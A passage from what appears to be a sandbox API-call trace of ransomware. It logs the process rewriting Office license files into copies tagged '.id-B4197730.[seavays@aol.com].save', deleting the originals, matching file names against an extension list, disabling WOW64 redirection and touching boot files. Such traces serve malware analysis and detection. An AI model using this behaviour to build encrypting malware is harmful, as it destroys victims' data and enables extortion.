lpFileSize=0x3e3ff14*=28261) returned 1 [0200.268] CloseHandle (hObject=0x384) returned 1 [0200.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms")) returned 0x220 [0200.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0200.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0202.739] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.739] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0203.073] GetLastError () returned 0x0 [0203.074] ReadFile (in: hFile=0x304, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x6e65, lpOverlapped=0x0) returned 1 [0203.076] WriteFile (in: hFile=0x384, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x6e70, lpOverlapped=0x0) returned 1 [0203.078] ReadFile (in: hFile=0x304, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.078] WriteFile (in: hFile=0x384, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x11e, lpOverlapped=0x0) returned 1 [0203.078] SetEndOfFile (hFile=0x384) returned 1 [0203.079] CloseHandle (hObject=0x384) returned 1 [0203.079] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.079] SetEndOfFile (hFile=0x304) returned 1 [0203.084] CloseHandle (hObject=0x304) returned 1 [0203.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0203.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription1-ppd.xrm-ms")) returned 1 [0203.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0203.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0203.088] lstrlenW (lpString=".doc") returned 4 [0203.088] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.088] lstrlenW (lpString=".docx") returned 5 [0203.088] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.088] lstrlenW (lpString=".pdf") returned 4 [0203.088] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.088] lstrlenW (lpString=".xls") returned 4 [0203.088] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.088] lstrlenW (lpString=".xlsx") returned 5 [0203.088] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.088] lstrlenW (lpString=".ppt") returned 4 [0203.088] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0203.088] lstrlenW (lpString=".zip") returned 4 [0203.088] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.088] lstrlenW (lpString=".rar") returned 4 [0203.088] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.088] lstrlenW (lpString=".bz2") returned 4 [0203.088] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.088] lstrlenW (lpString=".7z") returned 3 [0203.088] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0203.089] lstrlenW (lpString=".dbf") returned 4 [0203.089] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0203.089] lstrlenW (lpString=".1cd") returned 4 [0203.089] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription1-ppd.xrm-ms") returned 87 [0203.089] lstrlenW (lpString=".jpg") returned 4 [0203.089] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.090] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.090] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0203.092] GetLastError () returned 0x0 [0203.092] ReadFile (in: hFile=0x304, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d7e, lpOverlapped=0x0) returned 1 [0203.094] WriteFile (in: hFile=0x384, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0203.095] ReadFile (in: hFile=0x304, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.095] WriteFile (in: hFile=0x384, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x124, lpOverlapped=0x0) returned 1 [0203.095] SetEndOfFile (hFile=0x384) returned 1 [0203.096] CloseHandle (hObject=0x384) returned 1 [0203.096] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.096] SetEndOfFile (hFile=0x304) returned 1 [0203.099] CloseHandle (hObject=0x304) returned 1 [0203.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0203.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription2-ul-oob.xrm-ms")) returned 1 [0203.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0203.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0203.337] lstrlenW (lpString=".doc") returned 4 [0203.337] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.337] lstrlenW (lpString=".docx") returned 5 [0203.337] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.337] lstrlenW (lpString=".pdf") returned 4 [0203.337] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.337] lstrlenW (lpString=".xls") returned 4 [0203.337] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.337] lstrlenW (lpString=".xlsx") returned 5 [0203.337] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.337] lstrlenW (lpString=".ppt") returned 4 [0203.337] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0203.337] lstrlenW (lpString=".zip") returned 4 [0203.338] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.338] lstrlenW (lpString=".rar") returned 4 [0203.338] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.338] lstrlenW (lpString=".bz2") returned 4 [0203.338] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.338] lstrlenW (lpString=".7z") returned 3 [0203.338] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0203.338] lstrlenW (lpString=".dbf") returned 4 [0203.338] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0203.338] lstrlenW (lpString=".1cd") returned 4 [0203.338] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90 [0203.338] lstrlenW (lpString=".jpg") returned 4 [0203.338] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.127] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0204.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0204.128] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.128] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0204.130] GetLastError () returned 0x0 [0204.130] ReadFile (in: hFile=0x494, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2bbb, lpOverlapped=0x0) returned 1 [0204.136] WriteFile (in: hFile=0x56c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0204.140] ReadFile (in: hFile=0x494, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.140] WriteFile (in: hFile=0x56c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x11c, lpOverlapped=0x0) returned 1 [0204.140] SetEndOfFile (hFile=0x56c) returned 1 [0204.140] CloseHandle (hObject=0x56c) returned 1 [0204.140] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.140] SetEndOfFile (hFile=0x494) returned 1 [0204.144] CloseHandle (hObject=0x494) returned 1 [0204.144] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0204.145] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms")) returned 1 [0204.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86 [0204.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86 [0204.146] lstrlenW (lpString=".doc") returned 4 [0204.146] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.146] lstrlenW (lpString=".docx") returned 5 [0204.146] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.146] lstrlenW (lpString=".pdf") returned 4 [0204.146] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.146] lstrlenW (lpString=".xls") returned 4 [0204.146] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.146] lstrlenW (lpString=".xlsx") returned 5 [0204.146] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.146] lstrlenW (lpString=".ppt") returned 4 [0204.146] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86 [0204.146] lstrlenW (lpString=".zip") returned 4 [0204.147] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.147] lstrlenW (lpString=".rar") returned 4 [0204.147] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.147] lstrlenW (lpString=".bz2") returned 4 [0204.147] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.147] lstrlenW (lpString=".7z") returned 3 [0204.147] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86 [0204.147] lstrlenW (lpString=".dbf") returned 4 [0204.147] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86 [0204.147] lstrlenW (lpString=".1cd") returned 4 [0204.147] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86 [0204.147] lstrlenW (lpString=".jpg") returned 4 [0204.147] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0204.149] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=28261) returned 1 [0204.149] CloseHandle (hObject=0x494) returned 1 [0204.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms")) returned 0x220 [0204.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0204.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0204.149] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.149] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0204.151] GetLastError () returned 0x0 [0204.151] ReadFile (in: hFile=0x494, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x6e65, lpOverlapped=0x0) returned 1 [0204.153] WriteFile (in: hFile=0x56c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x6e70, lpOverlapped=0x0) returned 1 [0204.154] ReadFile (in: hFile=0x494, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.154] WriteFile (in: hFile=0x56c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x11e, lpOverlapped=0x0) returned 1 [0204.155] SetEndOfFile (hFile=0x56c) returned 1 [0204.155] CloseHandle (hObject=0x56c) returned 1 [0204.155] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.155] SetEndOfFile (hFile=0x494) returned 1 [0204.551] CloseHandle (hObject=0x494) returned 1 [0204.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0204.707] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms")) returned 1 [0204.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87 [0204.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87 [0204.709] lstrlenW (lpString=".doc") returned 4 [0204.709] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.709] lstrlenW (lpString=".docx") returned 5 [0204.709] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.709] lstrlenW (lpString=".pdf") returned 4 [0204.709] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.709] lstrlenW (lpString=".xls") returned 4 [0204.709] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.709] lstrlenW (lpString=".xlsx") returned 5 [0204.709] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.709] lstrlenW (lpString=".ppt") returned 4 [0204.709] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87 [0204.709] lstrlenW (lpString=".zip") returned 4 [0204.709] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.709] lstrlenW (lpString=".rar") returned 4 [0204.709] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.710] lstrlenW (lpString=".bz2") returned 4 [0204.710] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.710] lstrlenW (lpString=".7z") returned 3 [0204.710] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87 [0204.710] lstrlenW (lpString=".dbf") returned 4 [0204.710] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87 [0204.710] lstrlenW (lpString=".1cd") returned 4 [0204.710] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87 [0204.710] lstrlenW (lpString=".jpg") returned 4 [0204.710] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.718] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2e98, Size=0x20) returned 0x459f830 [0204.718] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x46c2cb8 [0204.718] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x46c2cb8, Size=0x20) returned 0x459f858 [0204.718] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0204.719] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0204.719] Wow64DisableWow64FsRedirection (in: OldValue=0x3e3ff50 | out: OldValue=0x3e3ff50*=0x1) returned 1 [0204.719] lstrlenW (lpString="kernel32.dll") returned 12 [0204.719] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f858 | out: hHeap=0x710000) returned 1 [0204.719] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0204.719] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x459f830 | out: hHeap=0x710000) returned 1 Thread: id = 49 os_tid = 0xe3c [0158.652] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x38181d8 [0158.652] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x38281e0 [0158.652] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78b158 [0158.652] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x7ac548 [0158.652] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78b020 [0158.653] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x43fb020 [0158.656] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78b050 [0158.656] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78b050, Size=0x20) returned 0x74dcc0 [0158.656] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x78b170 [0158.656] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x78b170, Size=0x20) returned 0x74dce8 [0158.656] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0158.656] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0158.656] Wow64DisableWow64FsRedirection (in: OldValue=0x3f7ff50 | out: OldValue=0x3f7ff50*=0x0) returned 1 [0158.656] lstrlenW (lpString="kernel32.dll") returned 12 [0158.656] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74dcc0 | out: hHeap=0x710000) returned 1 [0158.656] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0158.656] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74dce8 | out: hHeap=0x710000) returned 1 [0158.656] Sleep (dwMilliseconds=0x64) [0159.058] Sleep (dwMilliseconds=0x64) [0159.317] lstrcmpiW (lpString1=".LOG2", lpString2=".save") returned -1 [0159.317] lstrlenW (lpString="BCD.LOG2") returned 8 [0159.317] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 